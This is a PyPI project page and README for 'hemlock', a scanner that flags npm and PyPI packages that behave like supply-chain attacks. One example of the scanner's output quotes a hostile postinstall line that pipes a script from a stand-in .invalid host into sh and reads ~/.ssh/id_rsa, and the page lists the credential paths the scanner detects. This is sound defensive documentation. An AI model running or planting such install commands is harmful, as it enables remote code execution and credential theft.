Skip to main content
hemlock

Poison hemlock looks like parsley.

A supply-chain scanner for npm and PyPI that flags packages behaving like an attack, instead of waiting for one to get a CVE number.

ci pypi python license dependencies


Socrates was executed with poison hemlock. People still eat it by accident, because it is nearly indistinguishable from wild parsley: same height, same feathery leaves, same little white flowers. The tell is a set of purple blotches on the stem, and you only see those if you know to look.

That is the entire problem with a package registry. colorz looks like colors. A patch release of chalk looks like every other patch release of chalk. By the time a malicious package has a CVE, it has been installed for days and your credentials are already somewhere else.

Conventional scanners answer "does this package have a known vulnerability?" That is a useful question with a fatal lag. Someone has to get hurt first, then report it, then wait for an advisory. hemlock asks a different one:

Does this package behave like something that is about to attack me?

You can answer that on the day a package is published, from metadata that is already public and free.


What it looks like

  hemlock  mal ────────────────────────────────────  4 packages · 1 manifest · online · 17ms

  ╭─ MALWARE ────────────────────────────────────────────────────────────────────────────────╮
  │  chalk@5.6.1 is on a public malware list. Remove it, then rotate every credential the    │
  │  install could reach.                                                                    │
  ╰──────────────────────────────────────────────────────────────────────────────────────────╯

  1 package is on a public malware list.

  ▌ ██████████ MAL   npm   chalk 5.6.1                                                malware
  ▌ ├ HEM701  This exact version is reported as malware
  ▌ │         MAL-2025-46969 (GHSA-2v46-p5h4-248w): Malicious code in chalk (npm)
  ▌ └ HEM601  Published without build provenance
  ▌           published 2025-09-08 with no attestation on the registry
  ▌   reported malicious, so no score was calculated
  ▌   via  app-kit › build-tools › chalk
  ▌   fix  Remove it, then rotate every credential the install could reach.

  ▌ ███░░░░░░░   30  npm   express 4.18.2                                               medium
  ▌ └ HEM702  Published advisory against this version
  ▌           2 advisories: GHSA-qw6h-vgh9-j6wx, GHSA-rv95-896h-c2vc
  ▌   intel 30 → 30
  ▌   via  app-kit › build-tools › express
  ▌   fix  Upgrade past the affected range. Every id above resolves at osv.dev.

  ▌ ██░░░░░░░░   20  npm   build-tools 2.1.0                                               low
  ▌ └ HEM504  Almost nobody installs this
  ▌           207 downloads in the last week
  ▌   registry 20 → 20
  ▌   via  app-kit › build-tools
  ▌   fix  Find out which dependency asked for this before trusting it.

  ████████████░░░░░░  4 scanned · 1 critical · 1 medium · 1 low
  › hemlock explain HEM701   to read why any of these rules exist

That is a real result, not a mockup. chalk@5.6.1 is the version that shipped a crypto-address swapper in September 2025 after a maintainer was phished.

Every finding shows the evidence that produced it, and every package shows the arithmetic behind its score. There is no model and no vendor feed. If you disagree with a number, the line underneath tells you which weight to change.

The coloured rail down the left is one package. The bar is its score, so you can rank eight results without reading a single number. The box is reserved for the one rule that is not a judgement call: if everything is in a box, nothing is.

Install

pipx install hemlock-scan

Or without pipx, into any environment you like:

pip install hemlock-scan

Python 3.11 or newer, and nothing else. To try it without installing anything:

pipx run hemlock-scan scan .

Every release is published from a tagged commit by a GitHub Actions workflow with no API token involved, and carries a PEP 740 attestation naming the workflow that built it. Point hemlock at itself and it will tell you so:

hemlock check pypi:hemlock-scan --online

A bare name is read as npm unless you prefix it, which is why that one says pypi:.

Use

hemlock init                      # write a config file and a CI workflow
hemlock scan .                    # offline, fast, no network at all
hemlock scan . --online           # add registry, provenance and OSV checks
hemlock check chalk@5.6.1         # judge a package before you install it
hemlock diff --since origin/main  # score only what a branch adds
hemlock history . --online        # were we ever on a version now known to be bad
hemlock why left-pad              # who asked for this package
hemlock baseline .                # accept today's findings, fail only on new ones
hemlock explain HEM701            # why a rule exists and what to do about it
hemlock rules                     # every check, with its weight
hemlock update                    # check for a newer release

Any scan or diff can come out as --format terminal, markdown, json or sarif.

It finds its own work. Point it at a directory and it walks for package-lock.json, yarn.lock, package.json, requirements.txt, poetry.lock, Pipfile.lock and pyproject.toml. If node_modules or a virtualenv is present it reads the installed source too, which is the only place real install scripts live.

Before you install it

A scan tells you about a decision you already made. hemlock check answers the question you have a minute earlier, when a README or a colleague has just told you to install something.

hemlock check chalk@5.6.1 --online
hemlock check pypi:requests==2.32.3 --online
hemlock check @types/node@20.1.0 lodash@4.17.21

An unprefixed name is treated as npm. Put pypi: in front of it, or pass --ecosystem pypi, for the other one. Packages you named are always listed, clean ones included, because "nothing flagged" is not an answer to a question about three specific packages.

Offline this is a name check and nothing more, and the report says so on its second line. There is no package.json, no source tree and no lockfile entry behind a name typed into a shell, so the install-time, code-shape and pinning rules have nothing to read. --online is where it earns its keep: osv.dev, build provenance and the publisher history all key off the name and version alone.

  hemlock  chalk@5.6.1 ──────────────────────  1 package · online · 1.4s

  ╭─ MALWARE ────────────────────────────────────────────────────────────╮
  │  chalk@5.6.1 is on a public malware list. Remove it, then rotate     │
  │  every credential the install could reach.                          │
  ╰──────────────────────────────────────────────────────────────────────╯

  ▌ ██████████ MAL   npm   chalk 5.6.1                          malware
  ▌ ├ HEM701  This exact version is reported as malware
  ▌ │         MAL-2025-46969 (GHSA-2v46-p5h4-248w): Malicious code in chalk (npm)
  ▌ └ HEM601  Published without build provenance

The exit code follows the same --fail-on threshold as everything else, which defaults to high. A typosquat scores medium, so gate a pre-install check with --fail-on medium if you want it to stop you.

Keeping it current

hemlock update           # check, show the command, ask before running it
hemlock update --check   # report only
hemlock update --yes     # skip the question

It works out how this copy was installed, whether by pipx, pip or a git checkout, and builds the right command for that. It does not run it until you say so. A tool whose entire argument is that running somebody else's install step is the risk does not get to make a quiet exception for its own, so there is no silent self-update and no download piped into an interpreter. With no terminal to answer at, it prints the command and stops.

The upgrade path follows wherever the release actually is. hemlock-scan is not on PyPI yet, so today it points at the repository; the day the first release lands, PyPI answers and it switches over with nothing to edit.

Reviewing a change, not a codebase

A full scan describes a repository. When you are reviewing a pull request you want the other thing: what did this change let in? Everything already in the lockfile was somebody else's decision, and re-reading all of it on every PR is how people learn to skim the output.

$ hemlock diff --since HEAD

  hemlock diff  HEAD → working tree ───────────────────  2 changed · 1 removed · 9 unchanged

  1 package reads credentials from an install script.

  ▌ ██████████  100  ~  npm   colorz 1.0.5  (was 1.0.4)                               critical
  ▌ ├ HEM204  Install script touches credentials
  ▌ │         postinstall references .ssh/id_, AWS_SECRET, id_rsa, ~/.ssh
  ▌ ├ HEM202  Install script downloads and executes
  ▌ │         postinstall: curl -s https://cdn.example.invalid/setup.sh | sh -; cat
  ▌ │         ~/.ssh/id_rsa…
  ▌ ├ HEM101  Name is a near-miss of a popular package
  ▌ │         1 edit away from "colors"
  ▌ └ HEM201  Runs a script at install time
  ▌           postinstall: curl -s https://cdn.example.invalid/setup.sh | sh -; cat
  ▌           ~/.ssh/id_rsa…
  ▌   install 75 + naming 30 = 105  ×1.25 (2 categories agree)  →  100 capped
  ▌   fix  Treat every credential it could reach as exposed. Rotate first, investigate
  ▌        after.

  ▌ ██████░░░░   62  +  npm   reqeusts 1.0.0                                              high
  ▌ ├ HEM101  Name is a near-miss of a popular package
  ▌ │         2 edits away from "request"
  ▌ └ HEM402  Lockfile entry has no integrity hash
  ▌           reqeusts@1.0.0 pinned without a hash
  ▌   naming 30 + lockfile 20 = 50  ×1.25 (2 categories agree)  →  62
  ▌   fix  Compare the name against what you meant to install, then find out which
  ▌        dependency asked for it.

  ▌ ░░░░░░░░░░       -  npm   express-js                                               removed

  ██████████████████  2 scanned · 1 critical · 1 high

+ is new, ~ moved, - left. --since takes any git ref. Two lockfile paths work too, for comparing artifacts that never shared a repository.

Were we ever exposed?

Every command above reads the working tree, which answers a question about now. The question that gets asked on the morning a compromise is announced is about then: were we ever on that version, for how long, and did anything run an install while we were.

npm audit, Dependabot and hemlock scan all read HEAD, so once you have bumped past the bad release they say clean, and they are telling the truth about a question nobody asked. CI installed that version on every push for six days, and whatever it could reach is gone.

The answer is sitting in git. A lockfile is a list of exact coordinates, so its history is a record of exactly what would have been installed, and it can only change in a commit that touches it. That makes sampling those commits complete rather than approximate: between two of them the answer cannot have moved.

$ hemlock history . --online

  hemlock history  acme-web ──────────────────────  184 commits · 2 manifests · online · 2.1s

  ╭─ EXPOSED ─────────────────────────────────────────────────────────────────────────────╮
  │  chalk@5.6.1 sat in this lockfile for 6 days, until 2025-09-14. Anything an install   │
  │  could reach in that window should be treated as taken, whatever the scan of your     │
  │  working tree says today.                                                             │
  ╰───────────────────────────────────────────────────────────────────────────────────────╯

  1 version you once pinned is on a public malware list.

  ▌ ██████████ MAL   npm   chalk 5.6.1                                              6 days
  ▌ ├ MAL-2025-46969 (GHSA-2v46-p5h4-248w): Malicious code in chalk (npm)
  ▌ ├ entered 2025-09-08  7204481  bump dependencies
  ▌ ├ left    2025-09-14  5045dc0  pin chalk back after the advisory
  ▌ └ shipped v1.4.0  1 tag cut while it was in the tree
  ▌   ░░░░░░░░░░░█░░░░░░░░░░░░░░░░  2025-01-04 to today
  ▌   fix  Rotate every credential an install could reach in that window, then find out
  ▌        whether CI ran one. A build that installed it is where the tokens went.

  184 commits · 412 versions ever pinned · 1 malicious · 2025-01-04 to 2026-06-02

The shipped line is the part that turns a date range into work. Tags are matched by ancestry rather than by date: a release contains the commit that introduced the version and does not contain the one that removed it, which is exactly the set of artifacts built against it.

This is also worth running when nothing has happened. A malware record is usually published days after the package was live, so a scan that passed on Monday can be wrong about Monday by Friday. The workflow written by hemlock init runs this weekly for that reason, and it is the only job in there that asks about versions the tree no longer holds.

Without --online nothing is checked against anything, and the command answers the other question it is good for:

$ hemlock history . --package chalk

  3 versions of chalk have been in this lockfile, across 4 spans.

  ▌ npm   5.3.0           █████████████░░░░░░░░░░░░░░░  2025-01-04 → 2025-09-08   8 months
  ▌ npm   5.6.1           ░░░░░░░░░░░░░█░░░░░░░░░░░░░░  2025-09-08 → 2025-09-14     6 days
  ▌ npm   5.3.0           ░░░░░░░░░░░░░███████████████  2025-09-14 → 2026-06-02    9 months
  ▌ npm   5.4.0           ░░░░░░░░░░░░░░░░░░░░░░░░░░░█  2026-06-02 → now           2 months

It reads the mainline only, because what got built and deployed is what landed on it, and it stops at 200 manifest commits unless you raise --limit. When it stops early it says so rather than leaving you with a shorter answer that looks complete.

Saying it in the pull request

A red X on a CI job tells a reviewer that something is wrong and nothing else. --format markdown writes the result as a comment, and the workflow from hemlock init edits the same comment on every push rather than stacking a new one. What lands on the pull request looks like this:

[!CAUTION] chalk@5.6.1 is on a public malware list. Remove and rotate every credential the install could reach.

Package Score Why
🔴 + chalk@5.6.1 malware This exact version is reported as malware, and 1 more
🟡 ~ express@4.18.2 30 Published advisory against this version

2 changed · 1 critical · 1 medium · online · hemlock 0.4.0

The evidence for every row sits under a <details> fold, so the comment stays one screen tall on a pull request that added forty packages. Every package name links to its registry page, because the next thing anyone does with a name they do not recognise is search for it.

Adopting it on a codebase that already has a backlog

Point a new scanner at an established project and it returns four hundred findings. Nobody triages four hundred findings, so the tool gets switched off, or wired into CI with the threshold set so high it never fires, which is the same thing with extra steps.

hemlock baseline .

That records what was true on the day you adopted it. From then on a scan reports only findings that are new, and a committed baseline applies automatically so CI stops failing on the backlog without anyone remembering a flag. The accepted findings are still counted in the summary, marked as known, and --ignore-baseline brings them all back.

The fingerprint includes the version, so a dependency that moves re-raises everything about itself. Accepting a finding in March says nothing about the release that landed last night.

Who asked for this?

Several rules end by telling you to work out which dependency pulled something in. That was poor advice from a tool that could not answer it.

$ hemlock why chalk --online

  chalk 5.6.1  npm  ·  package-lock.json
  ██████████   malware

  reached through
    app-kit
    └ build-tools
      └ chalk

  flagged
    HEM701  This exact version is reported as malware
            MAL-2025-46969 (GHSA-2v46-p5h4-248w): Malicious code in chalk (npm)
    HEM601  Published without build provenance
            published 2025-09-08 with no attestation on the registry

  fix  Remove it, then rotate every credential the install could reach.

Depth is the thing you are looking for, so depth is what the indentation shows. Routes are built from the lockfiles hemlock already read, following npm's own resolution order, so a nested copy of a package wins over a hoisted one. Transitive findings in the normal scan view carry the same route on a via line.

The part worth trying first

Every rule can explain itself, at length, with the incident that motivated it:

$ hemlock explain HEM502

  HEM502  Published by a different account than usual
  Registry trust · weight 45 · needs --online

  npm records which account uploaded each individual version. This version
  came from an account that did not publish the ones before it.

  Sometimes that is a new co-maintainer or a release bot. Sometimes it is the
  entire attack: the event-stream backdoor arrived when the original author
  handed the package to a volunteer who had asked politely for it, and who
  then added a dependency that stole Bitcoin wallets. The takeover of
  ua-parser-js looked the same from the registry's side.

  The question this raises is answerable in about a minute. Does the new
  publisher appear in the project's repository? Did a maintainer announce the
  handover? If the answer to both is no, do not install it.

A scanner that only prints rule IDs teaches you nothing and trains you to ignore it. Every finding here ends with the command that explains itself.

What it checks

Twenty-six rules in seven categories. Fifteen need no network.

Identity and naming, for packages pretending to be another one:

HEM101 Name is a near-miss of a popular package 30
HEM102 Popular name plus a plausible-looking affix 22
HEM103 Name contains a look-alike character 55
HEM104 Unscoped copy of a scoped package name 28

Install-time execution, for whatever runs before you have imported anything:

HEM201 Runs a script at install time 18
HEM202 Install script downloads and executes 45
HEM203 Install script decodes an encoded payload 40
HEM204 Install script touches credentials 50

Code shape, for whether anyone is able to read it:

HEM301 Source looks deliberately unreadable 35
HEM302 Builds code at runtime 25

Pinning and integrity, for whether you control what you install:

HEM401 Version is not pinned 12
HEM402 Lockfile entry has no integrity hash 20
HEM403 Resolved over plain HTTP 30
HEM404 Installed from outside the registry 22
HEM405 An additional package index is configured 25

Registry trust, for what the registry already knows (needs --online):

HEM501 This version was published very recently 25
HEM502 Published by a different account than usual 45
HEM503 Deprecated or withdrawn 25
HEM504 Almost nobody installs this 20
HEM505 No source repository 15
HEM506 Release size jumped sharply 25
HEM507 The registry has no package by this name 35

Build provenance, for whether the artifact can be traced to source (needs --online):

HEM601 Published without build provenance 20
HEM602 Provenance points at a different repository 55

Public intelligence, for what somebody else has already established (needs --online):

HEM701 This exact version is reported as malware settles it
HEM702 Published advisory against this version 30

The three worth knowing about

HEM502 reads a field nobody looks at. npm records which account published each individual version, so an account takeover is visible in public metadata the moment it happens, before any advisory and before anyone unpacks the tarball. Nothing has to go wrong first for that signal to appear.

HEM602 compares the repository a package sends you to against the repository its signed attestation says it was actually built from. That is the shape of an attack that survives review: you read clean code in one place and install a build made somewhere else. Before attestations existed there was no way to notice.

HEM701 is the only rule that is not an inference. osv.dev aggregates the OpenSSF malicious-packages feed, which held roughly 226,000 records across npm and PyPI when this was written. If a record names the exact version installed, that is a report somebody wrote after analysing the package, so hemlock repeats it and stops scoring.

It also checks whether the record still stands. In May 2026 OSV withdrew 157 malware reports after an automated classifier raised them against trusted packages, and every tool that had already ingested them kept failing builds over nothing. hemlock skips withdrawn records.

Why provenance became a signal in 2026

HEM601 fires when a release has no attestation tying it to a repository, a workflow and a commit. That check would have been noise two years ago, because almost nothing had one.

It is not noise now. npm began revoking classic publish tokens in December 2025 and finished in early 2026, which leaves trusted publishing as the ordinary way to ship, and trusted publishing emits SLSA provenance automatically. PyPI has carried PEP 740 attestations since late 2024. A release made after those landed with nothing attached was published some other way.

hemlock only applies the rule to releases published after 2025-01-01, since older ones predate the tooling and are not judged for it. The weight is low because a maintainer releasing from a laptop is ordinary. What it costs you is the ability to answer the next question, which is whether the tarball matches the tag.

How the score works

Three rules, and you can check all of them by hand.

Weights add up: each rule that fires contributes its weight.

Repeats within a category count for less. Four findings about an install script are still one observation about an install script, so a category scores its heaviest hit plus 40% of the rest. Without this, anything with a busy postinstall maxes out immediately.

Agreement across categories counts for more. A near-miss name is a coincidence. A near-miss name that also runs an install hook that also ships obfuscated code is three independent reasons to worry, so the base gets a 25% bump per additional category involved.

install 75 + naming 30 = 105  ×1.25 (2 categories agree)  →  100 capped

Bands: critical 85+, high 60 to 84, medium 30 to 59, low 1 to 29.

One rule opts out of all of it. HEM701 reports a published finding rather than an inference of hemlock's own, so it settles the verdict at 100 by itself and the arithmetic has nothing useful to add. Malware is not a judgement call to be weighed against a missing integrity hash.

Most other rules are calibrated to be non-damning alone. HEM201, meaning the package runs an install script, is weight 18, because thousands of honest packages compile native modules and HEM201 on its own is not news. It matters when something else about the package is already odd, and the arithmetic is built so that it only matters then.

In CI

hemlock init writes a workflow that does the right thing on both events, or you can write it yourself. Gate a pull request on what it introduces rather than on the whole tree:

- run: pipx install hemlock-scan
- run: hemlock diff --since origin/${{ github.base_ref }} --online --fail-on high

Or scan everything on a schedule:

- run: hemlock scan . --online --fail-on high

A weekly job should read the history as well as the tree, because a malware record is usually published after the package was installed. This one needs the full clone, so fetch-depth: 0 on the checkout:

- run: hemlock history . --online --fail-on critical

Exit codes: 0 when nothing reaches the threshold, 1 when something does, 2 when the scan could not run. Set the threshold with --fail-on low|medium|high|critical|never.

When a scan exits 1 it says so at the bottom, and names the packages responsible:

  ██████████████████  24 scanned · 2 medium · 22 low
  exit 1  2 packages at medium or above: python3-dateutil, requsts

A build that fails without telling you which line failed it is a build people learn to rerun.

To leave the result on the pull request instead of only in the job log, write the Markdown report and hand it to gh. The comment carries a hidden marker, so --edit-last finds the previous one and replaces it:

- run: hemlock diff --since origin/${{ github.base_ref }} --format markdown > hemlock.md
- run: gh pr comment ${{ github.event.number }} --body-file hemlock.md --edit-last --create-if-none
  env:
    GH_TOKEN: ${{ github.token }}

For GitHub code scanning, emit SARIF and hand it to the upload action, which puts findings inline on the pull request that introduced them:

- run: hemlock scan . --format sarif > hemlock.sarif
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: hemlock.sarif

Configuration

Optional, in .hemlock.toml at the project root:

fail_on = "high"
fresh_days = 14

[[ignore]]
rule = "HEM201"
package = "esbuild"
reason = "compiles a native binary at install time; reviewed 2026-07-14"
expires = "2026-12-31"

Suppressions take a reason and an expiry, and hemlock reports the expired ones back to you rather than honouring them forever. An ignore with no end date outlives whoever added it, and that is how a scanner quietly stops finding anything.

About the output

The terminal view is the product, so it degrades in three independent directions rather than all at once.

Colour goes from 24-bit to the 256 palette to nothing, decided by COLORTERM, TERM, NO_COLOR and whether stdout is a terminal at all. --color always beats the environment, because a flag typed just now is a more specific instruction than a variable exported months ago.

Box drawing falls back to ASCII when the encoding cannot promise UTF-8. That path is tested rather than hoped for: a test renders every view with the ASCII table forced and asserts that not one Unicode glyph survives.

Hyperlinks appear only where something can click them. Package names open their registry page and advisory ids open osv.dev, over OSC 8, which terminals that do not implement it ignore. Files and pipes do not ignore it, so links switch off the moment stdout is not a terminal.

None of that is allowed to move a column. Every row is placed by measuring visible width with the escapes stripped, and a test renders the same scan with links on and off and asserts the two come out the same shape.

Severity is one warm ramp rather than a spread of hues: grey for low, straw for medium, ember for high, red for critical. An earlier version put magenta, orange, yellow, teal and green on the same screen, and five hues cannot be ranked at a glance, so you ended up reading the numbers, which is what the colour was there to save you from. Purple is the brand and never means a severity, so anything purple is the tool talking about itself. Low sits close to grey on purpose: a wall of low findings is background, and the one high finding behind it is what you opened the report for.

The wordmark animates in about a quarter of a second, on hemlock with no arguments and at the top of an interactive scan: the letters sweep in left to right, then the face lands. It is off under CI, off without a terminal, off without colour, off when stdout is redirected, and off with --no-logo or HEMLOCK_NO_LOGO. Anything that delays a pipe or corrupts a redirect has stopped being decoration and started being a bug.

It also steps down instead of wrapping. Block letters do not degrade when they overflow, they shred: the back half of every row lands under the front half and the whole thing reads as noise. So there are four sizes. Wide terminals get the wordmark and the face, narrower ones drop the face, narrower still halves the letters, and under about 34 columns it gives up and prints the name. The report and the mark ask different questions about width, too: a report takes the overflow rather than let its columns collapse, so it floors at 60, while the mark needs the terminal's real width or it never learns it is narrow.

It has to work on a real monorepo

A 55,000 package lockfile scans in 1.7 seconds offline, in about 128 MB.

Getting there was one change. Comparing every package name against the whole typosquat corpus was 93% of the runtime, so two prefilters run before the dynamic programming: two strings within two edits differ in length by at most two, and differ in at most two distinct characters, because each character present in one and missing from the other costs an edit of its own. Both are sound rather than heuristic, and a test checks every single-edit mutation of every corpus entry against the brute-force sweep they replaced. That took 50,000 packages from 17.9s to 1.7s.

packages before after
1,000 0.41s 0.09s
10,000 3.45s 0.38s
50,000 17.88s 1.71s

The report has the same problem in a different form. Those 55,000 packages produced 4,745 findings, which sounds like a lot until you notice they came in nine distinct shapes. So results group by their whole finding signature, not by a single rule, and the report came down from 999 lines to 69.

One rule flagging thirty packages is one observation about a project, not thirty, so it prints once with all thirty names rather than thirty times with five lines each:

  ▌ █░░░░░░░░░   12  HEM401  Version is not pinned                          22 packages
  ▌   pkg0, pkg1, pkg10, pkg11, pkg12, pkg13, pkg14, pkg15, pkg16, pkg17, pkg18,
  ▌   pkg19, pkg2, pkg20, pkg21, pkg3, pkg4, pkg5, pkg6, pkg7, pkg8, pkg9
  ▌   fix  Pin the version and commit a lockfile.

Nothing is folded away that you are meant to act on. Reported malware and anything critical always stand alone, however many of them there are. Below that, a group carries one score because every member of it has the same one: a group keys on the whole finding signature, and a score is computed from the rule set, so folding loses nothing.

The names are what matter, and there the rule is strict. A group at or above your --fail-on threshold lists every package it holds, however long that runs. Only groups below the threshold cap the list, and they say how many were held back rather than trailing off. Sixteen byte-identical high blocks is not sixteen findings, it is one finding and fifteen scrolls, but the sixteen names still have to be on the page.

A running scan draws a line that keeps moving:

  ⠴ Grazing…            ██████████░░░░  2038/3000  ·  applying rules  ·  592ms

The spinner's colour walks up the purple ramp and back, the word changes every five to ten seconds, and the bar's leading cell is lit separately from its body because a block that holds still reads as a stalled job.

What moves stays honest about what it means. The bar is real progress through a real list and never advances on its own. The spinner and the word are time passing and claim nothing about how far along anything is, which is the point: they are there so a scan waiting twelve seconds on osv.dev does not look like a scan that has died. That is also why the display runs on its own thread rather than being redrawn from inside the work loop, where a single slow package used to freeze it.

Nothing is drawn for the first 150ms, so a scan that finishes in three milliseconds goes past in silence and only a project big enough to make you wait ever animates. It writes to stderr, never to stdout, so --format json stays parseable and a redirect stays clean.

Zero dependencies, on purpose

hemlock installs nothing. Standard library only, on Python 3.11+.

This is not minimalism for its own sake. A tool whose job is to tell you that your dependencies are dangerous should not arrive with fourteen of its own, each one a transitive install script and a maintainer account that can be phished. The threat model includes hemlock.

The same reasoning shapes the default. hemlock scan makes no network calls at all, so nothing about your dependency graph leaves the machine unless you ask for --online. That flag talks only to the public endpoints of registry.npmjs.org, pypi.org and api.osv.dev, with no account and no API key, and it sends no telemetry anywhere. Responses are cached under ~/.cache/hemlock for six hours, and OSV takes one batched request for the whole dependency list rather than one per package.

What this is not

Worth being clear about, because the gaps are the interesting part.

  • It is not a CVE scanner. HEM702 reports advisories because the same OSV request that finds malware returns them for free. For thorough known-vulnerability coverage use osv-scanner, pip-audit or npm audit. They answer a different question and the two are complementary.
  • It is not a sandbox. Every rule is static. Nothing is executed, and a sufficiently careful payload will not look like any of the patterns here.
  • It does not verify signatures. HEM601 and HEM602 read what the registry publishes about an attestation; they do not check the Sigstore bundle cryptographically. That is a real gap and it is on the roadmap.
  • It will produce false positives. Install scripts are common and normal, as are single-maintainer packages and recent releases. That is why nothing is called critical on one signal alone, and why suppressions are first-class.
  • It covers npm and PyPI only. Those are where the volume is. Cargo, Go modules and Maven are the same shape of problem and would slot into hemlock/ alongside npm.py and pypi.py.
  • It cannot prove a package is safe. Nothing can. A clean scan means nothing here matched, and that is all it means.

How it fits together

hemlock/
  cli.py         argument parsing, exit codes
  scan.py        find manifests, resolve packages, run rules, score
  diff.py        the same rules over only what a change added or moved
  history.py     what the lockfile used to say, read out of git
  graph.py       who asked for a package, from the lockfiles already parsed
  baseline.py    accepting what was already there
  brand.py       the wordmark
  model.py       Package, Finding, Verdict, and the rule registry
  rules.py       every check, one function each
  score.py       the arithmetic above, and only that
  npm.py         package-lock, yarn.lock, package.json, node_modules
  pypi.py        requirements, poetry.lock, Pipfile.lock, pyproject
  http.py        one cached fetcher, shared by everything online
  registry.py    npm and PyPI metadata
  intel.py       OSV: malware reports and advisories, one batched call
  provenance.py  SLSA and PEP 740 attestations, normalised to one shape
  policy.py      .hemlock.toml
  report.py      what goes on the page: terminal, Markdown, JSON, SARIF
  ui.py          how it looks: colour depth, gauges, rails, panels, links
  motion.py      the live line during a scan, on its own thread
  update.py      is there a newer release, and how was this one installed
  data.py        typosquat corpus, homoglyphs, credential paths
tools/
  banner.py      renders docs/banner.svg from the same glyph table

A rule is a function that takes a package and yields evidence strings. Yielding nothing means it did not fire. Weights and prose live in the decorator, so adding a check is one function and one docstring, and tuning the scoring never means touching detection logic:

@rule("HEM403", title="Resolved over plain HTTP", category="lockfile", weight=30,
      explain="""The artifact is fetched over HTTP. Anyone on the path between
      the build machine and the registry can replace it...""")
def insecure_transport(pkg, ctx):
    if pkg.resolved and pkg.resolved.startswith("http://"):
        yield pkg.resolved

Development

git clone https://github.com/xzycd/hemlock
cd hemlock
pip install -e ".[dev]"
pytest -q

No test touches the network. The online layer is exercised against a stub that serves canned registry and OSV documents, which is also where the awkward cases live: a withdrawn malware report, a repository URL written five different ways, an attestation payload that will not decode.

examples/compromised-app is an inert project built to be caught. Every dependency in it is planted to trip a specific rule, the payloads are random characters, and the URLs point at .invalid domains that cannot resolve. CI asserts that it still comes back critical, so a rule that silently stops firing breaks the build instead of the next release. See examples/README.md for the full map of what trips what.

Releasing

Tagging a commit publishes it. There is no API token in this repository and there is not meant to be one: .github/workflows/release.yml uses PyPI trusted publishing, so the upload is signed with a short-lived identity minted for that one workflow run and there is no long-lived secret to steal.

The same run attaches PEP 740 attestations. A tool that flags packages for shipping without build provenance has no business shipping without build provenance, so hemlock passes its own HEM601.

The workflow refuses to publish if the tag does not match __version__, if the tests fail, or if the known-bad fixture has stopped being flagged.

Bump __version__ in hemlock/__init__.py, regenerate the banner, which carries the version in its tagline, and rename the Unreleased heading in the changelog. Then tag:

python3 tools/banner.py
git tag -a v0.7.0 -m v0.7.0 && git push origin v0.7.0

Roadmap

  • Verify Sigstore bundles rather than trusting the registry's summary of them
  • Cargo and Go module support
  • A cooldown policy: fail on any dependency published less than N days ago, which closes most of the account-takeover window on its own
  • Compare the published artifact against the tagged source. HEM602 gets close by checking which repository built it, but not yet whether the bytes match what is in that repository

License

MIT. See LICENSE.

Metadata

Release files for hemlock-scan 0.7.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for hemlock-scan 0.7.0
File Size Uploaded
hemlock_scan-0.7.0.tar.gz 138.9 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for hemlock-scan 0.7.0
File Interpreter ABI Platform
hemlock_scan-0.7.0-py3-none-any.whl Python 3 none any Details

Total release size: 241.9 kB

Release files / hemlock_scan-0.7.0.tar.gz

Download URL hemlock_scan-0.7.0.tar.gz
Size 138.9 kB
Tags Source
SHA-256 checksum
How to use checksums
0eb2cd8c8f05df5deb3f8dd27cb12d5100e6162ec3854067f71a0c16f7111a38
BLAKE2b-256 checksum
How to use checksums
45706cc2cdfe0f3d951fc4183a570fa6b17805a41afa67facea8f6b374d0da7f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 11, 2026.

Transparency log

Release files / hemlock_scan-0.7.0-py3-none-any.whl

Download URL hemlock_scan-0.7.0-py3-none-any.whl
Size 103.1 kB
Tags Python 3
SHA-256 checksum
How to use checksums
d5543131dfdc9ac09c6459321db9863d577d29898265bd82ae43be6e6dfe7eaf
BLAKE2b-256 checksum
How to use checksums
0e520e78cfe02ef5cc59a02d41585e239a86a1f6b42b5f14411f65a648566264
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Aug 11, 2026.

Transparency log

Release history Release notifications | RSS feed

0.8.1

2 release files

0.8.0

2 release files

This release

0.7.0 This release

2 release files

0.6.0

2 release files

0.5.1

2 release files

0.5.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page